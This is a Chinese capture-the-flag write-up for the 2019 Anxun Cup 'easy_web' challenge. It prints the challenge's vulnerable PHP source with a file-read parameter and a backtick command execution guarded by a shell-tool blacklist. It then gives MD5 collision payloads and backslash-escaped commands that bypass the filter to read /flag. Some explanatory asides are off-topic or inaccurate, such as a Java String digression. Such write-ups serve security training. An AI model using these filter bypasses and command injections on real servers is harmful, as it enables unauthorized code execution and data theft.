1.[安洵杯 2019]easy_web1
打开题目页面如下
发现在url处有传参,且img处的参数看着像base64编码
?img=TXpVek5UTTFNbVUzTURabE5qYz0
解码试试看,可以使用下面这个在线转换工具
base64解码 base64编码 在线base64解码/编码工具 iP138在线工具
解完后的编码看着还像base64编码,再次解码
将解码后的结果进行16进制转换为字符,使用下面这个在线工具
在线字符串/十六进制互相转换—LZL在线工具
得到结果555.png
尝试利用img读取index.php,看看能不能得到index.php源码
index.php
index.php
是一个常见的 PHP 脚本文件名
常见用途
网站入口文件:在许多基于 PHP 开发的网站中,index.php 通常作为网站的默认入口文件。当用户访问网站域名或目录时,Web 服务器(如 Apache、Nginx 等)会默认尝试加载并执行该目录下的 index.php 文件。例如,当用户访问 http://example.com 时,服务器可能会自动执行 example.com 根目录下的 index.php 文件,展示网站的首页内容。
路由分发:在一些使用 MVC(Model - View - Controller)架构或其他架构模式的 PHP 应用中,index.php 可作为路由分发器。它接收用户的请求,根据请求的 URL 或参数,将请求分发到相应的控制器或处理逻辑中。
初始化配置:index.php 可以包含项目的初始化配置代码,如加载配置文件、连接数据库、设置字符编码、启动会话等操作,为后续的代码执行提供必要的环境。
先将index.php16进制编码,然后进行两次base64编码
在线字符串/十六进制互相转换—LZL在线工具
base64解码 base64编码 在线base64解码/编码工具 iP138在线工具
得到编码
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
F12查看
用base64编码解码得到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码接收用户通过 GET 请求传递的 img
和 cmd
参数,以及 POST 请求传递的 a
和 b
参数,依据这些参数开展图片显示与命令执行操作。对 cmd
参数进行黑名单过滤,若包含黑名单中的字符或命令,就输出 forbid
;否则,检查 POST 请求中的 a
和 b
参数,若它们的值不同但 MD5 哈希值相同,就执行 cmd
参数中的命令。
进行代码审计看到绕过了很多字符
看到提示md5绕过
md5强绕过
在 PHP 等编程语言中,MD5 强比较绕过通常是利用 MD5 哈希算法的特性以及语言的类型处理机制来实现。
原理
MD5 是一种哈希算法,它会将任意长度的输入转换为固定长度(128 位,通常表示为 32 位十六进制字符串)的哈希值。在一些代码中,会对用户输入的内容进行 MD5 哈希计算,然后通过比较哈希值来进行验证。然而,由于 MD5 算法存在一些特性,以及编程语言在处理不同类型数据时的隐式转换规则,可能会导致比较结果出现意外情况,从而实现绕过验证。
常见绕过方法
1. 利用数组绕过
在 PHP 中,当对数组使用 md5()
函数时,无论数组的具体内容是什么,其返回值都是 d41d8cd98f00b204e9800998ecf8427e
。
<?php
$a = ['test'];
$b = ['example'];
if ($a !== $b && md5($a) === md5($b)) {
echo "绕过成功!";
} else {
echo "绕过失败!";
}
?>
- 上述代码中,
$a
和$b
是两个不同的数组,$a !== $b
条件成立。而md5($a)
和md5($b)
的结果都是d41d8cd98f00b204e9800998ecf8427e
,所以md5($a) === md5($b)
条件也成立,从而实现了绕过。
2. 利用以 0e
开头的哈希值绕过
某些特殊的字符串经过 MD5 哈希计算后,其哈希值会以 0e
开头。在 PHP 中,当使用 ==
进行比较时,以 0e
开头的字符串会被当作科学计数法处理,即被视为 0。
<?php
$str1 = "QNKCDZO";
$str2 = "240610708";
if ($str1 !== $str2 && md5($str1) == md5($str2)) {
echo "绕过成功!";
} else {
echo "绕过失败!";
}
echo "md5($str1): ". md5($str1). "\n";
echo "md5($str2): ". md5($str2). "\n";
?>
- 计算可得
md5("QNKCDZO")
和md5("240610708")
的结果都以0e
开头,在使用==
比较时,它们会被当作 0 进行比较,从而满足相等条件,实现绕过。但需要注意的是,这种方法仅适用于使用==
进行弱比较的情况,如果使用===
进行强比较,则无法绕过。
这里的md5使用强绕过,不能使用数组绕过,因为使用了String强转换
String强转换
1. 使用 String.valueOf()
方法
String.valueOf()
是一个静态方法,它可以接受各种基本数据类型和对象作为参数,并返回对应的字符串表示。
2. 使用对象的 toString()
方法
对于大多数对象,都可以调用其 toString()
方法来获取字符串表示。基本数据类型的包装类(如 Integer
、Boolean
等)也继承了 Object
类的 toString()
方法。
再构造a、b的payload传入
payload
$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&$b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
用burp suite抓包在cmd中传参dir
在命令提示符(CMD)中,当在传参处传入dir
时,这是用于执行dir
命令,它的作用是显示指定目录中的文件和文件夹列表。
没什么发现
看到了目录,但没有flag,查看根目录,用%20代替空格
l\s%20/
最后传参,查找根目录flag
cmd=ca\t%20/flag
最终得到flag
cat /flag
是类 Unix 系统(如 Linux、macOS)中的 shell 命令
命令功能
在类 Unix 系统里,cat
是 “concatenate”(连接、串联)的缩写
-
显示文件内容:当你使用
cat /flag
时,它会尝试读取根目录(/
)下名为flag
的文件,并将其内容输出到标准输出(通常就是终端屏幕)。例如,若flag
文件内容是This is a test flag
,执行该命令后屏幕会显示This is a test flag
。 -
连接文件:
cat
可以将多个文件的内容连接起来输出。例如cat file1.txt file2.txt
会依次显示file1.txt
和file2.txt
的内容。 -
创建文件:结合输出重定向,你可以用
cat
创建新文件。例如cat > newfile.txt
之后输入内容,按Ctrl + D
(在 Linux 等系统)结束输入,内容就会保存到newfile.txt
中。